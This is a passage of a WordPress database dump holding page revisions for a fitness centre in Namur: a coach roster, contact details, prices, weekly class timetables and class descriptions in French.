src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-14', '', '', '2013-06-16 15:07:42', '2013-06-16 15:07:42', '', 20, 'http://www.crosstrainingcenter.be/?p=141', 0, 'revision', '', 0),
(142, 1, '2013-11-03 09:43:42', '2013-11-03 09:43:42', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\nLes prises de RDV pour les séances de\nTeam Training, Duo Training, Personnal\nTraining ou Coaching nutritionnel se\nfont exclusivement par téléphone.\n\n0485 / 92 . 02 . 12\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Adresse :&lt;/h1&gt;\nBowling et Squash de Namur\nChaussée de Perwez 251\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\n&lt;h1&gt;N :&lt;/h1&gt;\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td colspan=\&quot;2\&quot;&gt;\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Contact - Namur', '', 'inherit', 'open', 'open', '', '9-autosave-v1', '', '', '2013-11-03 09:43:42', '2013-11-03 09:43:42', '', 9, 'http://www.crosstrainingcenter.be/?p=142', 0, 'revision', '', 0),
(144, 1, '2013-06-16 15:13:28', '2013-06-16 15:13:28', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n\r\n&lt;h1&gt;Adresse :&lt;/h2&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:13:28', '2013-06-16 15:13:28', '', 9, 'http://www.crosstrainingcenter.be/?p=144', 0, 'revision', '', 0),
(143, 1, '2013-06-02 17:55:41', '2013-06-02 17:55:41', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 04XX/XX.XX.XX\r\n\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper.', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-02 17:55:41', '2013-06-02 17:55:41', '', 9, 'http://www.crosstrainingcenter.be/?p=143', 0, 'revision', '', 0),
(145, 1, '2013-06-16 14:47:43', '2013-06-16 14:47:43', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:47:43', '2013-06-16 14:47:43', '', 11, 'http://www.crosstrainingcenter.be/?p=145', 0, 'revision', '', 0),
(146, 1, '2013-06-23 13:16:35', '2013-06-23 13:16:35', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table]\r\nYear,Make,Model,Length\r\n1997,Ford,E350,2.34\r\n2000,Mercury,Cougar,2.38\r\n[/table]\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 